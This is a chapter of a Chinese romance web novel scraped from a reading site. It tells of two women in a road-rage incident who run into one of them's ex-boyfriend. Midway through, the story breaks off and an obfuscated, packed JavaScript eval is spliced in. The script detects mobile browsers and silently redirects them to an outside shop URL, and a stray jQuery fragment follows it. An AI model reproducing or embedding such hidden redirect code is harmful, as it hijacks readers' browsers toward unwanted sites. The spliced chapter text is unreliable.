文趣网 > 其他小说 > 谎话[破镜重圆] > 11. 谎话
    洛晚渔发完那条消息后,谢昭寻一直没回。

    于是,她得出结论:“应该是不来,估计还在公司加班呢。”

    明书问:“你怎么知道?”

    “很简单啊,”洛晚渔分析,“现在大家都手机不离身,只有工作太忙才没时间回复,你说,我是不是应该给他发企微?”

    明书:“干脆打电话吧,接通先别说你是谁,你就喂,谢总,我看中你的项目想和你谈谈,在谈谈之前,我想确认下你来不来温越清生日会。”

    “铺垫太长了吧,”洛晚渔真思考了下可行性,“估计我前面的话还没说完,对面就以为我是诈骗,万一他打110挺尴尬的,毕竟进警局的话,我只希望是见义勇为。不对,还有种可能性——”

    “什么?”

    “他可能是不想回。”

    明书觉得这个可能性大一点,“有可能。被甩之后怀恨在心多年,这怎么不算是一种念念不忘?”

    没得到回应,明书侧眸,洛晚渔低着头不知道像是在找什么,于是问:“你要干嘛?”

    “在想你这里有没有硬币?”洛晚渔刚刚翻完自己的包,很可惜,她现在已经彻底实现了交易数字化,一颗钢蹦都没有。

    明书不解,“你要硬币干什么?”

    “抛个硬币测下前男友对我念念不忘的概率啊。”

    明书嘴角抽了抽,“别测了,我觉得是正面。”

    “可惜了,我心里想的是反面才是念念不忘。”洛晚渔摸了半天从包里摸出副眼罩,她戴上,“我再睡会儿,晚安司机书书。”

    明书没戳穿她,“行吧,你睡会儿。”

    *

    谢昭寻看到消息后没立刻回复,秒回太上赶着,搞得好像他专门等她消息一样,明明他只是恰好看到了。

    为了让自己不背上此种嫌疑,谢昭寻特地掐着表等了十分钟,才态度冷淡地回了个:“嗯。”

    刚摁下发送键,陈澈贱嗖嗖地揶揄:“时间到啦?”

    谢昭寻懒得理他。

    看他态度,陈澈脑子里突然冒出来个猜测,“我靠,不会刚刚给你发消息的是洛晚渔吧?”

    谢昭寻没否认,陈澈百分百确定了,“不是,你们什么时候联系上的?”

    陈澈真觉得自己的网速慢得离谱,主要还是怪谢昭寻的刻意隐瞒。到底拿不拿他当兄弟?和前女友重归于好这种大事都不告诉他。

    亏他前段时间还在纠结,到底要不要告诉谢昭寻洛晚渔也要来温越清生日会的事情。

    “虽然吧,当初你被甩了,我肯定站在你这边,对你前女友,哦不,现女友没什么好印象。但是,你要真的和她复合兄弟我也不会说什么,百分百尊重你的决定,不过你瞒着我这就不太地道了。”

    谢昭寻拇指有一搭没一搭地往下滑着,没刷新出新消息,也不知道是不是网速不太好。陈澈说什么他只听了个囫囵,“没啊,我单身。”

    “哦,我还以为你们旧情复燃呢,”陈澈稍微平衡了点,还好兄弟也不至于完全不把他放心上,“那你怎么有她微信?”

    “她欠我钱啊。”

    切了好几次界面都还停留在刚刚发出去“嗯”,谢昭寻有点心烦了,彻底放弃,“还有,哪这么容易复燃?”

    陈澈:“所以就是还有旧情。”

    谢昭寻心道失策,“忘了,旧情也没有。”

    陈澈心想你哄谁呢,“兄弟,我劝你别嘴硬,现在strong哥不吃香。”

    谢昭寻还真没听说过,“现在流行瘦的?”

    果然经济下行,全世界审美都在下降啊。

    “是谐音,你平时都不上网吗?”陈澈解释,“就是死装的意思,就说的是某些口是心非,硬要强装淡定的人。”

    “这不是你吗?”谢昭寻想到什么,扯了下嘴角,“我反正没抱着电线杆亲,跪着求着对方回来啊。”

    说来是段糗事,当初陈澈和初恋吵架,两人都在气头上,对方提了分手,陈澈抱着不蒸馒头争口气心态,梗着脖子硬气地回了句:分就分,以为我怕你啊。

    结果对方二话不说就把陈澈的东西扫地出门了,于是陈澈凌晨三点去敲谢昭寻家的门,拉他出去喝酒。

    到了酒吧,不管什么白的红的黄的,陈澈都往嘴里灌,从酒吧出来已经是人畜不分了,抱着根电线杆就下嘴,亲完直挺挺地跪了下去,“对不起啊,晚晚,都是我该死,我错了,求你原谅我,不要离开我。”

    好在后来在陈澈地死缠烂打下,两人真和好了,兜兜转转谈到了今天,下个月都要结婚了。

    但提起这事陈澈还真挺尴尬的,当初真是年少轻狂啊,“说你就说你,干嘛扯到我身上。不过,我真的给你出个注意,太有架子的男人是什么都得不到的,你要是真的想和好,就听我的。”

    谢昭寻兴致缺缺,“不必了,谢谢。”

    陈澈无视他的拒绝,平地起惊雷,“你要给她当狗啊。”

    谢昭寻彻底无语了,看向陈澈的眼神都带着关怀,“我之前不是和你说过,药别乱吃吗?”

    陈澈拐进某个路口,道路变窄成了单行道,车似蜗牛般挪动,他坚持他那套理论,“信我,绝对有前景。”

    谢昭寻又拿出手机看了眼,还是没新消息,于是面无表情地重新将手机丢进储物槽里,心想有个屁的前景。

    陈澈却突然骂了句,“我靠,前面那个是不是你前女友?”

    *

    洛晚渔是被明书摇醒的,醒来时她以为是地震了,“我们往哪里跑?”

    明书给她摘掉眼罩,“跑什么跑,姐妹,来活了。”

    来什么活?

    洛晚渔睡眼惺忪地听明书讲完事情的经过,才知道刚刚她们被恶意别车了。

    这条路是单行道,宽度窄,后面的人嫌他们开得慢,加速挤到她们边上,摇下窗子就开始骂,骂得挺脏的,话里是显而易见的挑衅以及对女司机的轻蔑。

    大概对方敢这么明目张胆,很重要的原因是他能从明书今天开的这辆二手小轿车的车型颜色,推测出车主大概率是女性。

    目前结果就是车尾右侧被擦了。

    洛晚渔本来是有点气的,但听完全过程后,着实没想到对方作案手法这么蠢,突然有点爽,好久没碰到过这种胜率百分百的纠纷了。

    她兴奋了,刚下下车却被明书拉住,“等等,我们要不要先去买把菜刀?对方好像纹了花臂,不会是混□□的吧?”

    洛晚渔瞥了眼后视镜,后车上的人已经下来了,手臂上黑黢黢一片,到底是啥花纹,她没看出来,但看起来确实是有点□□的气质,可惜是个细狗。

    “意外参与了扫黑除恶专项斗争啊,你提醒我了,先打个122。”

    明书留在车上打122,洛晚渔头铁地下去了,恰好花臂哥也走过来,她得给明书争取报警的时间。而且说实话,其实她还真没多害怕,这片还是闹市,街上全是人,况且以申城的出警速度,警察过来也就五分钟。

    果然,她刚下车就发现周围已经有不少人围观。她没理花臂哥,直接绕到车尾,尾灯被撞得凹陷,她拍了张照。

    “拍什么拍?”

    花臂哥伸手就要来抢她的手机,但洛晚渔早有防备,躲开了,大声地说:“诶,大哥,你这是抢劫吧。”

    世上还是好人多,人群中有正义之士冲出来,肱二头肌发达得像是往袖口里塞了两块石头,“干什么呢,光天化日之下欺负小姑娘?”

    “他大爷的你又是谁啊?关你屁事?”

    花臂哥抡起拳头要打人,洛晚渔在一旁录像,“你这是故意伤害啊,我录下来了。”

    她还不忘冲好心大哥道:“没事大哥,你反击回去的话,算正当防卫。”

    “操,凭什么?”花臂哥拳头没真的下去,一是他好像有点打不过,二是傻子都知道亏,对方一圈下去怕是要把他抡飞,“我打他,我要坐牢,他打我还没事?”

    “法律是这样规定的啊。”

    洛晚渔确定了,这人就是花架子,欺软怕硬,其实很容易怂。

    于是,她说:“也还好,也就十年。”

    “你骗鬼呢?我打他一下判我十年?那两拳下去我是不是直接死刑啊?”

    洛晚渔确实在骗,十年是法定最高刑,门槛挺高,一般人踏不进去。花臂哥要是真有这潜质,她绝对不敢下车。

    况且,她也没想过和花臂哥普法,主要想利用法律的威慑作用,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796458|210526||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    震慑一下这种还比较怂的正在往不法道路上狂奔的大胆狂徒。

    “还有,你刚刚恶意别车,我们已经报警并给保险公司打过电话了,你全责。”

    花臂哥自然不干,“哟,你说全责就全责?明明是你们突然刹车,我才撞上去的,我开了多少年的车,还真从来没把别人的车擦过,你们女司机就是不会开车,谁好好的突然减速啊?”

    花臂哥开始破口大骂,唾沫星子满天飞,核心只有一个:女司机开不好车,所以不是我的错。

    明书从车上下来,恰好听到就是这段,忍着没动手,但朝他脸上吐了摊口水,完了还挺礼貌地道歉,“对不起,感冒咳嗽没控制住。”

    又问洛晚渔:“你没事吧?他刚刚有没有欺负你?”

    其实是没,但大庭广众之下总要演一演,洛晚渔简直奥斯卡影后上身了,无台词表演,委委屈屈地什么话都不说,样子要多可怜有多可怜。

    明眼人都能看出来刚刚明书那下是故意,但一面是两个被别车还被对方辱骂的小姑娘,另一面是看起来像是□□跟班的细狗花臂哥,群众的心早就有偏向了。

    以至于交警赶到现场,花臂哥跟交警告状,说明书冲着他脸吐口水是侮辱他的人格的时候,群众都说没看见。

    花臂哥气得当场撕了身上的衣服想打人,被交警按住了,“干什么干什么?建国以后不允许返祖。”

    洛晚渔和明书得去趟派出所做笔录,临走前跟正义大哥道谢,“大哥,刚才真的谢谢你啊。”

    “这有什么,也没帮上你们什么忙。还以为他真要和我打一架呢。”

    正义大哥质朴一笑,顺便展示了下他的肱二头肌。

    “干什么呢?!”

    身后传来一声呵斥,洛晚渔顺着声音转身,后面的车因为他们都堵在这里,连成一条长线,不少司机都下车看热闹,或者是站在边上抽烟。稀稀拉拉的人群里走出来两个人,其中一个有点面熟,洛晚渔想起来,似乎是谢昭寻的大学室友。果然,旁边就是谢昭寻本尊。

    洛晚渔心想,有点巧啊,“你们怎么在这儿?”

    “刚好路过。你别怕,有我们在,他不敢欺负你。”

    陈澈原本是想挡在洛晚渔身前的,但心想不对,就顺手就把谢昭寻往洛晚渔那边推了把。

    谢昭寻毫无防备,两个人的肩猝不及防地撞上的刹那,都下意识地看向对方。

    谢昭寻比洛晚渔高出一个头不止,因此有点居高临下,路灯亮了,头顶恰好是孤零零一盏,孱弱的光晕垂落,笼着谢昭寻的眉眼,有种说不出的柔和。

    偏偏还起了一阵风,热得发烫,雪松香和樱花沐浴露的香气不清不楚地纠缠着,混合成一种难以言明的味道,心跳声也是你追我赶,像是场谁也不肯认输的拉力赛。

    先退后一步的是谢昭寻,“抱歉。”

    “没关系。”

    鼻尖那股味道似乎还没散,洛晚渔问:“好巧,你们怎么在这儿?”

    “去参加温越清生日会。”

    洛晚渔下意识去看手机里的消息,原来谢昭寻给她回了,只是当时她在睡觉没看见。

    “原来是这样。”

    洛晚渔发现旁边的陈澈还满脸戒备地盯着正义大哥,赶忙解释:“别误会,这是刚刚帮忙的大哥。”

    “啊?”陈澈本来都想好了,这指定是出英雄救美的好戏,没想到是场乌龙,“不好意思,我误会了,以为是我朋友遇到事了。”

    正义大哥不怎么介意,“没事。”

    再次展示了下他的肱二头肌就潇洒离去了。

    “刚刚发生了什么?”陈澈看到被撞得有点可怜的车灯,“我靠,出车祸了?”

    “没这么严重。”洛晚渔说,“不过我们待会要去做个笔录,温越清生日会不一定赶得上了,我微信上和温越清说一声,麻烦待会你们也帮我带个话,解释下吧。”

    恰好此时交警过来,要带她们去做笔录,看见她们身侧站着的两个男人,顺带问了句:“他们是?”

    洛晚渔刚想解释,没想到有人捷足先登。

    “我是她的——”

    谢昭寻目光自始至终都落在洛晚渔身上,停顿了两秒,“目击证人。”